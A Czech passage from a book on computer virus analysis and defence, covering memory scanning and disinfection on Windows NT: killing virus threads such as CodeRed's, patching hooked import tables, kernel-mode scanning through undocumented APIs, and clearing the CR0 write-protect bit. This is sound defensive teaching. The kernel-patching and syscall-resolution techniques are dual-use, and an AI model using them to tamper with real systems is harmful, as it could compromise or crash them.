V době, kdy běží hostitelský program, je také aktivní infekční thread viru. Je-li hostitelská aplikace (hlavní thread) ukončena, jsou všechny thready tohoto procesu zrušeny systémem Windows NT, takže virus už není aktivní. Virus se může replikovat do dalších souborů pouze z těch aplikací, které jsou spuštěny a používány delší dobu. V takovém případě bude infekční thread napadat ostatní aplikace z pozadí.

Výpis 12.10 Virus W32/Niko.5178 vytváří dva thready (v tomto příkladu 68 a 123).

117 asd.exe Dtsactivation automatique (ASD) CWD: C:\LOOK\ CmdLine: C:\LOOK\ASD.EXE VirtualSize: 20152 KB

PeakVirtualSize: 20192 KB

WorkingSetSize: 1604 KB P

eakWorkingSetSize: 1612 KB

NumberOfThreads: 3 122 Win32StartAddr:0x0040f000

LastErr:0x00000002 State:Waiting

68 Win32StartAddr:0x0040f021

LastErr:0x00000002 State:Waiting

123 Win32StartAddr:0x0040f01c

LastErr:0x00000000 State:Waiting

4.10.0.1998 shp 0x00400000 ASD.EXE 4.0.1381.130 shp 0x77f60000 ntdll.dll

446

Kapitola 12 – Skenování paměti a dezinfekce

4.0.1381.133 shp 0x77e70000 USER32.dll 4.0.1381.133 shp 0x77f00000 KERNEL32.dll

12.5 Skenování paměti a stránkování Skenery paměti, pracující v uživatelském režimu, mohou být vytvořeny (s určitými omezeními) s využitím dříve popsaných funkcí. Skener musí být schopen rozlišit obsazené a volné stránky a musí kompletně prohledávat úplně všechny stránky, alokované běžícími procesy, protože kód viru může být v kterékoliv z nich.

Protože správce paměti Windows NT uvolňuje nepoužívané stránky a stránky nenačtené v paměti tak dlouho, dokud k nim není přistupováno, rychlost skenování paměti velmi výrazně závisí na velikosti fyzické paměti. Čím má počítač více paměti, tím je skenování rychlejší a naopak, je-li paměti málo, bude počet selhání stránek (page faults) velmi vysoký. Na obrázku 12.6 je ukázáno, že nepoužívané stránky (tedy takové stránky, u nichž správce paměti, po nějaké době, odstranil příznak přístupu), jsou uvolněny pro všechny aplikace. Například, v tomto konkrétním případě využívá proces WINLOGON.EXE pouze 356 kB paměti (viz obrázek 12.6).

Obrázek 12.7 ukazuje, jak všechny procesy změnily využití paměti poté, co byly prověřeny programem SCANPROC.EXE (což je skener paměti, pracující v uživatelském režimu). Proces WINLOGON.EXE například vyskočil na 7792 kB, přičemž počet selhání stránek (page faults) se v tomto procesu pohybuje v tisících. To je krátkodobý postranní efekt skenování paměti.

Kdykoli se SCANPROC.EXE pokouší o přístup k nové stránce, která ještě není ve fyzické paměti, vyvolá tím selhání stránky. V ten moment nahraje správce paměti stránku do fyzické paměti, což způsobí nárůst využití paměti. Většina stránek samozřejmě přestane být po nějaké době opět potřebná, a proto budou náhledně uvolněny. To způsobí, že se využití paměti procesem sníží. Správce paměti Windows NT má několik pracovních threadů, které zajišťují vyvážené využití paměti mezi procesy. Skenování paměti naštěstí nezpůsobuje správci paměti Windows NT žádné závažné problémy.

Počítačové viry – analýza útoku a obrana

Obrázek 12.6

Využití paměti před jejím skenováním.

Obrázek 12.7

Využití paměti během jejího skenování.

447

448

Kapitola 12 – Skenování paměti a dezinfekce

12.5.1 Vyhodnocení procesů a skenování obrazů v souborech Alternativním řešením je vyhodnocení procesů běžících v systému a skenování příslušných souborů, ze kterých jsou mapovány jejich výkonné části. Tato technika je efektivní proti velkému množství Win32 hrozeb, ale neumí odhalit injektovaný kód, jako třeba CodeRed.

12.6 Dezinfekce paměti Tato kapitola by nebyla úplná bez několika úvodních slov o možnostech deaktivace různých typů virů.

Paměťový skener by měl úzce spolupracovat s on-access skenery a měl by rozeznávat stejnou množinu virů, kterou zná i komponenta antivirového produktu, zabývající se skenováním souborů. On-access skener by měl detekovat většinu známých virů, i když je v některých procesech kód viru aktivní. Nemůže ale zabránit tomu, aby virus napadal další objekty, protože virus může objekty, které již byly vyléčeny, opětovně infikovat. Typický antivirový software nemůže detekovat virus v aplikacích předtím, než je do nich kód viru zapsán; protože je však on-access skener aktivní, nemůže být nová kopie známého viru spuštěna jako proces.

Viry se mohou stát aktivními v následujících typických situacích:  Virový skener nebyl na počítači instalován, nicméně virový kód byl již byl vykonán.  Jedná se o nový virus a skener musí být updatován, aby jej detekoval.

12.6.1 Ukončení procesu, který obsahuje kód viru Pravděpodobně nejjednodušším způsobem, jak deaktivovat virus v paměti, je ukončit celou úlohu, ve které byl kód viru detekován paměťovým skenerem. To se může snadno provést pomocí API TerminateProcess() a příslušnými právy (je nutné právo PROCESS_TERMINATE). Násilné ukončení úlohy je však riskantní procedura, která by měla být prováděna s velkou opatrností. Protože je aktivní kód viru zpravidla připojen k nějaké aplikaci uživatele, mohou být v případě obyčejného ukončení infikovaného procesu ztracena důležitá uživatelská data. Aplikace také může mít otevřených několik databázových souborů, takže by v případě ukončení procesu nebylo možné udržet jejich konzistenci. Z těchto důvodů by měl být TerminateProcess() použit v případech, kdy je kód viru aktivní v odděleném procesu, například u virů WNT/RemEx nebo W32/Parvo.

Některé viry (jako třeba varianty viru W32/Semisoft) se snaží násilnému ukončení zabránit spuštěním dvou různých procesů viru. Kdykoliv je jeden z procesů ukončen, aktivní kopie viru ji znovu spustí, takže je virus efektivně ochráněn. To je důvod, proč by měl skener paměti běžet současně se spuštěným on-access skenerem na pozadí. Ten totiž zabrání novému spuštění úlohy viru.

12.6.2 Detekce a ukončování threadů virů Když virus vytvoří v procesu vlastní thready, měl by být paměťový skener schopen tato vlákna eliminovat a v rámci procesu je ukončit. Už dříve zmíněný virus W32/Niko (výpis 12.10) vytváří pro svoje potřeby dva thready. Jeden thread se používá jako trigger a ukončí se sám. Infekční thread zůstává aktivní po celou dobu běhu procesu (dokud v něm běží nejméně jeden jeho thread). Pro ukončení jednotlivého threadu v procesu je potřeba handle tohoto vlákna a právo THREAD_TERMINATE.

Počítačové viry – analýza útoku a obrana

449

Na většině systémů, založených na NT, není v subsystémových DLL funkce OpenThread() dostupná.

Tato funkce je nedokumentovaná a jako NtOpenThread() je přístupná pouze z NTDLL.DLL. Výpis 12.11 ukazuje moji "ručně vytvořenou" deklaraci.

Výpis 12.11 Definice API pro NtOpenThread().

NTSYSAPI NTSTATUS NTAPI NtOpenThread ( OUT PHANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN PCLIENT_ID ClientId OPTIONAL );

Kvůli odlišení threadů virů od čistých threadů aplikace by měl paměťový skener kontrolovat hodnotu Win32StartAddress každého threadu. Tato hodnota je k dispozici v informacích o procesu, ale je jednodušší ji získat pomocí jiné, nedokumentované API. Ta se nazývá jako NtQueryInformationThread() a má pět následujících parametrů:  První parametr je handle vlákna s přístupem THREAD_QUERY_INFORMATION.  Druhý parametr je hodnota třídy QueryWin32StartAddress a je rovna 9.  Třetí parametr je adresa návratové hodnoty.  Čtvrtý parametr je velikost informace, která má být vrácena (v bytech; je rovna čtyřem).  Poslední parametr je volitelný, nazývá se BytesWritten, je typu PULONG a může být NULL.

Funkce NtQueryInformationThread() vrátí korektní počáteční adresu threadu, jak je to ukázáno v aplikaci tlist.exe (je dostupná v resource kitu Windows NT). Výpis 12.9 je výstupem této aplikace, použité na thread, ve kterém je aktivní virus Win32/Niko. V tomto případě jsou počáteční adresy dvou threadů viru tyto: 0x0040f021 a 0x0040f01c. Obě tyto adresy se odkazují do aktivního obrazu viru na instrukci skoku (0xe9), která předá řízení na vstupní body funkcí threadu viru.

Kontrolou hodnoty Win32StartAddress může paměťový skener rozhodnout, zda-li daný thread patří viru, nebo ne – počáteční adresa vlákna se totiž odkazuje na aktivní obraz viru v paměti. V případě viru Niko je kód viru prováděn jako vlastní thread hostitelské aplikace. Počáteční adresa hlavního threadu (0x0040f000) by tedy neměla být ukončena, protože tento thread používá hostitelský program. Poslední fází ukončení threadu je použití API TerminateThread() a práva THREAD_TERMINATE. Předcházející procedura může být v zásadě bez nebezpečí použita pro nalezení a ukončení threadů viru CodeRed v adresovacím prostoru procesu Microsoft IIS. Výpis 12.12 je částečným záznamem threadů uvnitř procesu INETINFO.EXE (Microsoft IIS) poté, co byl systém infikován jak virem CodeRed I, tak i virem CodeRed II. Každý thread byl identifikován jako

Kapitola 12 – Skenování paměti a dezinfekce

450

aktivní – detekce byla provedena na základě kódových signatur virů na počátečních adresách threadů.

Tím se zajistilo potlačení možných falešných detekcí (ty jsou možné, protože i neúspěšný útok červa může mít za následek umístění neaktivního kódu aplikace v heapu). Pokusy o zmrazení detekovaných threadů CodeRed byly úspěšné, takže virus se dále nešířil, přičemž využitelný čas CPU vzrostl natolik, že bylo možné instalovat záplaty.

Povšimněte si vysokého počtu přepnutí kontextu v době několika prvních vteřin od infekce. Infekce červa CodeRed II má menší počet přepnutí kontextu. Většina jeho threadů má hodnoty přepnutí ovšem téměř identické.

Výpis 12.12 Dvě varianty W32/CodeRed a některé z jejich treadů.

PID: 0x03b0 (INETINFO.EXE) Threads: TID

CTXSWITCH

LOADADDR

WIN32STR

3ac

63

77e878c1

01002ec0

STATE Wait:Executive

260

458

77e92c50

77dc95c5

Wait:Userrequest

410

927

77e92c50

78002432

Wait:Userrequest

414

921

77e92c50

78002432

Wait:Userrequest

418

131

77e92c50

00000000

Wait:Lpcreceive

41c

459

77e92c50

77dc95c5

Wait:Userrequest

494

2

77e92c50

6a176539

Wait:Userrequest

498

8

77e92c50

6d703017

Wait:Userrequest

49c

7

77e92c50

69de3ce1

Wait:Userrequest

4a0

1

77e92c50

69e0d719

Wait:Eventpairlow

4a4

1

77e92c50

69e0d719

Wait:Eventpairlow

4bc

178

77e92c50

6783b085

Wait:Userrequest

348

10507

77e92c50

730c752b

Wait:Userrequest

598

10509

77e92c50

010ce918

CodeRed I Thread

59c

10509

77e92c50

0230fe7c

CodeRed I Thread

5a0

10510

77e92c50

0234fe7c

CodeRed I Thread

5a4

10509

77e92c50

0238fe7c

CodeRed I Thread

. . .

:

:

. * Kvůli zkrácení seznamu byly stovky vláken vynechány . .

708

10509

77e92c50 0

39cfe7c

CodeRed I Thread

Počítačové viry – analýza útoku a obrana 70c

10509

77e92c50

03a0fe7c

CodeRed I Thread

710

10510

77e92c50

03a4fe7c

CodeRed I Thread

714

10509

77e92c50

03a8fe7c

CodeRed I Thread

718

10509

77e92c50

03acfe7c

CodeRed I Thread

71c

10509

77e92c50

03b0fe7c

CodeRed I Thread

720

10509

77e92c50

03b4fe7c

CodeRed I Thread

724

2

77e92c50

03b8fe7c

CodeRed I Thread

26c

65

77e92c50

00000000

Wait:Lpcreceive

518

1

77e92c50

6d70175a

Wait:Eventpairlow

320

7

77e92c50

6d70175a

Wait:Eventpairlow

568

839

77e92c50

004202a1

CodeRed II Thread

58c

810

77e92c50

004202a1

CodeRed II Thread

390

810

77e92c50

004202a1

4d8

810

77e92c50

004202a1

451

CodeRed II Thread CodeRed II Thread

. . .

800

814

77e92c50

004202a1

CodeRed II Thread

804

7868

77e92c50

74fd68fd

Wait:Eventpairlow

808

813

77e92c50

004202a1

CodeRed II Thread

80c

812

77e92c50

004202a1

CodeRed II Thread

810

812

77e92c50

004202a1

CodeRed II Thread

. * Kvůli zkrácení seznamu byly stovky vláken vynechány . b3c

812

77e92c50

004202a1

CodeRed II Thread

b40

812

77e92c50

004202a1

CodeRed II Thread

b44

814

77e92c50

004202a1

CodeRed II Thread

b48

812

77e92c50

004202a1

CodeRed II Thread

b4c

812

77e92c50

004202a1

CodeRed II Thread

b50

812

77e92c50

004202a1

CodeRed II Thread

b54

812

77e92c50

004202a1

CodeRed II Thread

V některých speciálních případech nemohou být thready bezprostředně ukončeny. Stále častějším trikem je injektování threadu do standardního procesu Windows za účelem ochrany jiného procesu červa.

Je-li tento ochranný thread ukončen, proces červa ho okamžitě obnoví. V takovém případě je potřeba, před ukončením threadu, jej nejprve "zmrazit" a pak ukončit proces červa. Samozřejmě existují i jiné komplikace, které nemají vůbec jednoduchá řešení.

12.6.3 Záplatování virového kódu v aktivních stránkách Nejobtížnější případ deaktivace viru nastává, když je jeho kód součástí zavedeného obrazu souboru .EXE nebo .DLL, nebo tehdy, když virus pro sebe alokuje stránky přidělené celému procesu a zavěšuje na

452

Kapitola 12 – Skenování paměti a dezinfekce

sebe některé importy hostitelské aplikace. V těchto případech je potřeba pro deaktivaci viru záplatovat virový kód v paměti. Tato procedura musí být prováděna velmi opatrně, protože nesprávným záplatováním kódu viru v paměti může dojít k náhodnému vytvoření nové varianty viru.

Když virus přepíše importní tabulku adres aplikace (IAT, import address table) a zavěsí tak na sebe API, měla by být IAT opravena pro každý infikovaný proces. Toto odstraní virový kód. Tato operace se musí provést velmi rychle. Pravděpodobně nejbezpečnější cestou je pozastavení všech threadů infikovaného procesu až do doby opravy. Jakmile je IAT opravena, je možné, aby thready pokračovaly dále. V těchto situacích může být k zápisu do potřebných stránek použita funkce WriteProcessMemory(). Dezinfekce by měla být provedena pro každou instanci viru. Nejdříve musí být zkontrolován příznak ochrany každé stránky, která vyžaduje modifikaci. Má-li stránka příznak PAGE_READONLY, musí být tento příznak změněn na PAGE_READWRITE. V takových případech může být použita funkce VirtualProtectEx() s přístupem PROCESS_VM_OPERATION. Situace je o něco obtížnější, když virus infikuje některou ze subsystémových DLL, což například dělá virus W32/Heretic. Jiné viry upravují knihovnu pro komunikaci pomocí socketů (WSOCK32.DLL), například virus W32/Ska.A11.

V případě viru W32/Heretic je KERNEL32.DLL infikován tak, že v samotném souboru (nejenom v paměti) jsou upraveny exportní adresy dvou API. Když se některý proces pokusí získat pomocí funkce GetProcAddress() adresu některého z těchto API, obdrží ukazatel na kód viru. Protože některé aplikace zjišťují adresy některých API během své inicializace, "zapamatují" si tyto adresy pro celou bodu svého běhu. Z tohoto důvodu by neměla být tabulka exportních adres modulu KERNEL32.DLL opravována během dezinfekce paměti. V takových případech totiž může být virus znovu aktivován, nezávisle na této opravě. Namísto exportní tabulky by měl dezinfikátor velmi pečlivě záplatovat kód viru v paměti. To se dá provést úpravou kódu viru na vstupním místě jeho zavěšené rutiny tak, že řízení bude předáno na její konec, do místa, kde virus volá vstupní bod původního API. Takto se virus nemůže dále replikovat. Tato procedura je samozřejmě odlišná pro různé viry a vyžaduje přesnou detekci virového kódu.

12.6.4 Postup dezinfekce zavedených DLL a běžících aplikací Zavedené subsystémové DLL je sdíleno v paměti a nemůže tak být do něj zapisováno. Jeho obraz může být dezinfikován pouze v paměti, ale nikoliv již v souboru, protože dezinfikátor nemůže tento soubor otevřít pro zápis. Nejjednodušším řešením tohoto problému je vytvořit seznam takových aplikací a vyzvat uživatele k restartu systému. Dezinfekci z uživatelského režimu může například provést nativní dezinfikátor. Seznam nativních aplikací Windows NT je vykonán ještě před zavedením některého subsystému. Některé standardní aplikace Windows NT, jako například AUTOCHK.EXE, jsou aplikacemi nativními.

Alternativním řešením je vytvořit skener a dezinfekční systém pro horní část Windows PE (Microsoft Windows Preinstallation Environment), která umožňuje snadný přístup k diskům NTFS s čistou pamětí. Windows PE obecně obsahují mnoho věcí, které ostatní systémy nemají. WinPE nicméně vyžadují speciální licenci.

Jinou alternativou je aplikace BartPE (známou také jako PE builder)12 od Barta Lagerweije.

Počítačové viry – analýza útoku a obrana

453

12.7 Skenování paměti v režimu jádra Skenování paměti v režimu jádra je svojí podstatou velmi podobné implementaci v uživatelském režimu. V režimu jádra však bude skenování vždy bezpečnější. Kromě toho může takový skener vyhledávat viry v horních 2 GB adresovacího prostoru jádra. V současné době používá v systémech NT pouze několik málo virů komponenty, které pracují v režimu jádra. Je však pravděpodobné, že v budoucnu bude mnoho takových virů naprogramováno jako ovladače filtrů souborového systému. Tato část knihy objasňuje nejdůležitější problémy při vývoji paměťových skenerů v režimu jádra pro detekci Win32 virů, běžících v uživatelském režimu. Představíme si také základní procedury, které jsou důležité při skenování horního adresovacího prostoru o velikosti 2 GB pro viry běžící v režimu jádra.

12.7.1 Skenování uživatelského adresovacího prostoru procesů Skenování uživatelského adresovacího prostoru může být v režimu jádra prováděno podobným způsobem, jako je prováděno skenování v uživatelském režimu. Mnoho systémových funkcí může být použito tak, že se adaptují na režim jádra. Existuje několik způsobů, jak získat ID procesů všech běžících aplikací.

Jednou z možností je použití API NtQuerySystemInformation(), která je exportována z NTOSKRNL. EXE, a kterou lze zavolat jako ZwQuerySystemInformation() (ZwQSI) z ovladače běžícího v režimu jádra. Tato funkce je samozřejmě nedokumentována, takže musí být nejdříve specifikovány a vloženy příslušné deklarace – jinak by linker nemohl ovladač správně zpracovat.

12.7.2 Rozlišení vstupních bodů API služeb NT Některá z důležitých API, které jsou potřebná pro skenování paměti, bohužel nejsou exportována jménem z jádra (NTOSKRNL.EXE) pro potřeby ovladačů běžících v režimu jádra. Když uživatelská aplikace volá API VirtualQueryEx() v modulu KERNEL32.DLL, bude volání přesměrováno do API NtQueryVirtualMemory() v modulu NTDLL.DLL. Toto API kupodivu není přístupné z jádra (NTOSKRNL.EXE). Funkce je zde pro použití NTOS, ale není exportována pro ostatní ovladače. Tvůrci NT evidentně nepředpokládali situace, ve kterých je potřebná spolupráce s operacemi virtuálního správce.

Ovladač může tento problém řešit dvěma různými způsoby. Ten jednodušší způsob je ten, že API může být linkováno s NTDLL.DLL. Druhou možností je vytvoření funkce, která je podobná funkci GetProcAddress() v uživatelském režimu. Zde je však jeden důležitý rozdíl – procházením exportní tabulky NTDLL.DLL v kontextu systému je možné zjistit funkční ID jednotlivých služeb NT. Taková funkce může zjistit ID, které je pomocí instrukce MOV na vstupních bodech systémů IA32 vloženo do registru EAX. Tímto způsobem může určit ovladač korektní adresu funkce uvnitř výkonné části Windows NT (NTOSKRNL.EXE) jako KeServiceDescriptorTable + NtServiceID. Výpis 12.13 je příkladem volání funkce INT 2E v NTDLL.DLL, NtCreateFile().

Výpis 12.13 Ukázka volání služby NT na IA32.

B814000000 mov eax,14h ; ID funkce NtCreateFile

454

Kapitola 12 – Skenování paměti a dezinfekce

8D542404 lea edx,[esp+arg_0] CD2E int 2Eh C22C00 ret 2Ch

Windows NT implementují něco podobného v NTDLL.DLL (na IA32), kód ale používá dynamicky vytvořené "trampolíny" (trampolines). Pokud procesor podporuje instrukci sysenter, sekvence syscall nepoužívá volání INT 2E. V takovém případě NTDLL.DLL uskuteční volání do jedné z posledních stránek procesu v uživatelském režimu pro vykonání kódu. Obsah této stránky je předtím za běhu vygenerován tak, aby odpovídal vlastnostem procesoru (viz výpis 12.14). Tato stránka pochopitelně není součástí žádného DLL v systému.

A co se týče instrukce sysenter – ta byla implementována Intelem v procesorech Pentiun II a slouží jako rychlejší způsob přepnutí do režimu jádra, takže se při několika miliónech cyklech volání API ušetří několik cyklů CPU, čímž se tak systém zrychluje.

Výpis 12.14 Ukázka volání služby v procesorech Pentium II. B827000000 mov eax, 27h BA0003FE7F mov edx, 7FFE0300h FFD2 call edx C20C00 retn 0Ch CALL EDX -> (7FFE0300 – poblíž konce adresovacího prostoru uživatele) 8BD4 mov edx, esp 0F34 sysenter C3 retn

Poznamenejme, že ID je stále dostupné v nativních vstupních bodech API (v tomto případě 27h).

12.7.3 Důležité funkce NT pro skenování paměti v režimu jádra Pro skenování paměti procesů existuje několik velmi užitečných funkcí. Funkce NtQueryVirtualMemory() se dotazuje stránek jednotlivých procesů. Není sice dokumentovaná, ale jedná se o překlad API VirtualQueryEx() do ZwQueryVirtualMemory(), která je umístěna v jádru (NTOSKRNL.EXE). Protože ladicí informace obsahují jména funkcí, je její jméno zobrazováno debuggeren jádra Windows NT. Tato funkce však není z jádra (NTOSKRNL.EXE) exportována svým jménem, podobně jako několik dalších.

Další užitečné funkce jsou NtTerminateProcess(), NtOpenThread(), NtSuspendThread(), NtResumeThread() a NtProtectVirtualMemory(). Většina těchto funkcí jsou překlady jejich ekvivalentů v uživatelském režimu, jsou však nedokumentovány. Pro každou z těchto funkcí musí být vytvořena hlavičková deklarace (header declarations). Pro získání handle procesu může být použita funkce ZwOpenProcess().

Počítačové viry – analýza útoku a obrana

455

12.7.4 Kontext procesu V NT mohou ovladače režimu jádra běžet v následujících třech třídách kontextu4:  K ontext systémového procesu.  K ontext určitého vlákna (a procesu).  K ontext libovolného vlákna (a procesu).

Spodní 2 GB paměti mohou podle okolností mapovat některý uživatelský proces, nebo také žádný. Kvůli mapování procesu do spodních 2 GB virtuální paměti musí být paměťový skener schopen přepínat kontexty jednotlivých procesů. Jednou z možností je použití nedokumentované funkce KeAttachProccess().

Nezbytnou hlavičkovou deklarací tohoto API je: VOID KeAttachProcess( IN PEPROCESS Process );

Toto jádro API nejprve potřebuje parametr PEPROCESS (ukazatel na strukturu EPROCESS). Vložením normálního ID procesu jako prvního parametru může být zkonvertováno pomocí jiné nedokumentované API, nazvané jako PsLookupProccessByProccessId()13: NTSTATUS PsLookupProcessByProcessId( IN ULONG Process_ID, OUT PVOID *EProcess);

Kdykoliv potřebuje skener paměti v režimu jádra přečíst stránku, musí přepnout kontext na ten proces, který chce zpřístupnit. Funkce KeDetachProcess() vrací z libovolného kontextu kontext systémový: VOID KeDetachProcess( VOID );

Aby dotazovací funkce pracovala správně za všech problematických okolností, musí být vytvořena velmi pečlivě. Protože stránky procesů mohou být požadovány výše uvedeným postupem, nemohou být zpřístupněny nedostupné stránky. Jinak by bylo skenování paměti neúnosně pomalé vlivem velkého množství výjimek, které by zpomalovaly systém.

Alternativou pro získání handle každého skenovaného procesu, je obyčejné použití funkce ZwOpenProcess().

12.7.5 Skenování horních 2 GB adresovacího prostoru Horní 2 GB adresovacího prostoru obsahují vykonatelný kód, jakým je exekutiva NT, systémové ovladače a ovladače třetích stran. Seznam ovladačů může být získán pomocí funkcí správce objektů (Object Manager). Alternativou je použití funkce NtQuerySystemInformation() s dotazovací třídou 11 (0x0B), která vrací seznam zavedených ovladačů a jejich bázové adresy.

456

Kapitola 12 – Skenování paměti a dezinfekce

Není jednoduché dotazovat se na stránky z této oblasti, protože neexistují žádná rozhraní API, která by to umožňovala. Bylo by možné se dotazovat tabulky stránek, což by však vedlo ke kódu, který by byl závislý na použité verzi service packu, a který by později vedl k možným problémům se stabilitou.

Jednodušším řešením je zkontrolovat bázovou adresu každého ovladače a parsovat jejich strukturu přímo v paměti. Protože má každý ovladač úplný přístup k horním 2 GB adresovacího prostoru, je možné (a snadno proveditelné) parsovat tabulku sekcí každého ovladače v paměti. Je to v podstatě způsob, jakým debugger SoftIce zobrazuje seznam zavedených ovladačů.

Skenování stránkovaného a nestránkovaného poolu (pool area) není jednoduché. Nejsnadnějším řešením je nalezení odkazu na virový kód, jako je například zavěšená rutina, která se odkazuje na virus.

12.7.6 Jak lze deaktivovat virus ve filtrovacím ovladači?

Tato otázka se může zdát podivná, protože není znám virus, který by využíval tohoto přístupu. Uvedená metoda je však známa a můžeme si tak být jisti, že v budoucnu dojde k vytvoření takového viru. (V této části předpokládám, že má čtenář základní znalosti ovladačů ve Windows NT.) Základním problémem je to, že filtrovací ovladače (filter driver) nemohou být po zavedení odstraněny (to je alespoň názor Microsoftu). Filtrovací ovladače souborových systémů mohou být připojeny buď k objektům zařízení jednotlivých ovladačů souborových systémů (ntfs.sys, fastfat.sys atd.), nebo k jiným objektům zařízení filtrovacích ovladačů, čímž se vytváří posloupnost. Jednotlivý filtr může být ve skutečnosti připojen k více objektům zařízení jiných ovladačů (příklad je uveden na obrázku 12.8).

Filtrovací ovladač může být z konce seznamu jednoduše odpojen, ale není příliš bezpečné to dělat. Dalším problémem je to, že filtrovací ovladač nemůže být odebrán, pokud je mezi dvěma jinými filtrovacími ovladači nebo mezi filtrovacím ovladačem a ovladačem souborového systému – to by totiž způsobilo odebrání všech následujících ovladačů v posloupnosti. Je proto nezbytné najít jiné řešení. Po několika pokusech jsem našel přístup, který funguje.

Počítačové viry – analýza útoku a obrana

Obrázek 12.8

457

Ukázková posloupnost filtrovacích ovladačů, zobrazená utilitou DeviceTree od OSR.

Vykonání ovladače začíná u jeho funkce DriverEntry. Uvnitř této funkce filtrovací ovladače obvykle vytvářejí nový objekt zařízení (tzv. zavěšené zařízení, hook device). Poté jej voláním jedné z funkcí IoAttachDevice(), IoAttachDeviceToDeviceStack() nebo AttachDeviceByPointer() připojí k objektu zařízení, které má být filtrováno.

Filtrovací ovladače souborového systému musí podporovat rychlé I/O, a proto implementují tabulku FAST_IO_DISPATCH s ukazateli funkcí na jejich rychlé vstupní body I/O operací. Po vykonání filtrování rychlého I/O v zavěšené rutině, musí filtrovací ovladač volat původní vstupní bod ovladače, ke kterému bylo zařízení připojeno. Je zajímavé, že samotné Windows NT neukládají ukazatel na nižší objekt zařízení. Každý ovladač musí tyto ukazatele (pointers) uchovávat; je přitom doporučeno je ukládat do DeviceExtension zavěšeného zařízení. Struktura DeviceExtension však naprosto závislá na ovladači – ten si totiž sám definuje její formát, případně ji vůbec nepoužívá. Tohle všechno naši úlohu ztěžuje.

Vypadá to, že jediným způsobem, jakým lze bezpečně "deaktivovat" filtrovací ovladač, je "filtrovat" nestandardním způsobem, který neumožňuje získat ovladači kontrolu nad libovolnou filtrovací rutinou.

Místo toho je potřeba volat ovladač, ke kterému byl daný filtrovací ovladač připojen.

K tomu musí ovladač, který obnovuje filtrování (zde nazvaný jako DeaktivačníOvladač) záplatovat objekt ovladače filtrovacího ovladače (zde nazvaný jako VirovýOvladač). Po úpravě se musí všechny položky MajorFunction[] objektu VirovéhoOvladače odkazovat na rutinu HookDispatch DeaktivačníhoOvladače.

458

Kapitola 12 – Skenování paměti a dezinfekce

Pokud je tato záplata správně provedena, získají kontrolu rychlé I/O položky DeaktivačníhoOvladače nad položkami VirovéhoOvladače. Hlavním problémem je však to, že by každá rutina rychlých I/O operací DeaktivačníhoOvladače měla volat rutinu rychlých I/O operací VirovéhoOvladače tak, že bude trasovat posloupnost objektů zařízení VirovéhoOvladače. U všech objektů systémových ovladačů souborových zařízení musí být zkontrolováno pole AttachedDevice, aby se zjistilo, zdali je k němu připojeno zavěšené zařízení VirovéhoOvladače. V případě, že toto pole obsahuje odkaz na některý objekt zavěšeného zařízení VirovéhoOvladače, musí být ukazatel na objekt zařízení ovladače souborového systému uložen. Kdykoliv jsou volány rychlé I/O operace DeaktivačníhoOvladače, mohou být tyto I/O operace přesměrovány na ovladač, ke kterému je připojen VirovýOvladač. Je tomu tak proto, že se uložený ukazatel na objekt zařízení bude odkazovat na ten objekt, který má ukazatel na objekt ovladače majitele.

Má-li objekt ovladače vstupní bod rychlých I/O operací, které byly filtrovány pomocí rutiny rychlých I/O VirovéhoOvladače, měl by být volán bez jakýchkoliv úprav příchozích parametrů. Pak budou rychlé I/O operace VirovéhoOvladače přefiltrovány a deaktivovány.

Podobným způsobem musí rutina Dispatch DeaktivačníhoOvladače zkompletovat pakety IRP (Interrupt Request Packet) VirovéhoOvladače nebo tato IRP pomocí rutiny IoCallDriver() vložit do odpovídajícího objektu zařízení.

Je to komplikované? Bezpochyby ano. Bylo by to jistě snadnější, kdyby byl systém filtrovacích ovladačů ve Windows NT organizován o něco lepším způsobem.

12.7.7 Paměť jádra, která je pouze pro čtení Windows 2000 implementují paměť jádra, která je pouze pro čtení. Je-li tato paměť zapnuta, nemohou být změněny nezapisovatelné stránky, jako jsou třeba kódové části ovladačů. Je to kvůli vzájemné ochraně jádra operačního systému, jeho dat a ovladačů. To však rovněž napomáhá počítačovým virům, protože to vyžaduje, aby jejich odstraňování bylo extrémně opatrné.

Tento prvek je aktivní pouze tehdy, když má systém 128 MB fyzické paměti nebo méně. V takovém případě je virtuální paměť ovládána pomocí stránek o velikost 4 kB. Pokud je paměti více, přepne se systém do režimu velkých stránek. V tomto režimu není ochrana dostupná.

Existuje nicméně několik způsobů, jak pracovat s pamětí určenou jenom pro čtení. Například během zápisu by měl být přepnut indikátor WP kontrolního registru CR0 procesoru IA32. To je možné provést v režimu jádra, ale pouze s velkou opatrností – jedná se o hack! Je-li indikátor WP vypnut, může být zapisováno do všech stránek.

12.7.8 Skenování paměti v režimu jádra na 64bitových platformách Většina virů infikujících 32bitové systémy Windows může infikovat systémy 64bitové. Je to z toho důvodu, že 64bitová Windows implicitně podporují 32bitový kód. Začínají se však objevovat viry, které jsou přímo 64bitové. Očekává se, že autoři virů začnou v budoucnu vytvářet mnoho virů pro systémy běžící na platformách AMD64 a EM64T (IA32 s rozšířením na 64 bitů). Programování na těchto systémech je totiž jednodušší a přitom jsou relativně levné, takže k nim budou mít útočníci ještě větší přístup. Je však pravda, že se první 64-bitové viry objevily na procesorech Itanium14.

Počítačové viry – analýza útoku a obrana

459

32bitové procesy se linkují pouze s 32-bitovými DLL, implementovanými jako systém WOW (Windows on Windows). Modul NTDLL.DLL je v 32bitových procesech 32bitový, ale může být přepnut do 64bitového jádra (NTOSKRNL.EXE).

V systémových procesech je NTDLL.DLL 64bitový. Portování 32bitových paměťových skenerů na 64bitové je jednoduché. Je možné dekódovat vstupní body exportů 64bitového NTDLL.DLL a získat tak ID, které je ve funkci ekvivalentní hodnotě EAX na platformě IA32. Pokud chceme využít 32bitové přístupy, popsané v této části knihy, potřebujeme toto dekódování pro získání NtServiceID a ke skenování paměti. Výpis 12.15 ukazuje 64bitové volání systému ve Windows na procesoru Itanium.

Výpis 12.15 Volání systémové služby na IA64. mov r8 = 6 ; NtServiceID movl r2 = 0xE0000000FFA00020;; nop.m 0 mov b6 = r2 br.few b6

Pro toho, kdo není příliš obeznámen s procesory Itanium, může být tento kód matoucí. Předmětná hodnota NtServiceID se přesune do registru r8 (v tomto případě je rovna 6). Dlouhá 64bitová hodnota se přesune do registru r2. Dále je tam operace, která nic neprovádí.

